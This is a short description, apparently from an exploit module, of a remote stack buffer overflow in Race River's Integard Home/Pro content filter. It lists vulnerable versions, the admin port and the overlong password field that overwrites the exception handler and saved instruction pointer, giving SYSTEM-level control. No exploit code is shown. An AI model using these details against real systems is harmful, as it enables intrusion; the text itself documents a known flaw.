						This module exploits a stack buffer overflow in Race river's Integard Home/Pro
					internet content filter HTTP Server. Versions prior to 2.0.0.9037 and 2.2.0.9037 are
					vulnerable.

					The administration web page on port 18881 is vulnerable to a remote buffer overflow
					attack. By sending an long character string in the password field, both the structured
					exception handler and the saved extended instruction pointer are over written, allowing
					an attacker to gain control of the application and the underlying operating system
					remotely.

					The administration website service runs with SYSTEM privileges, and automatically
					restarts when it crashes.
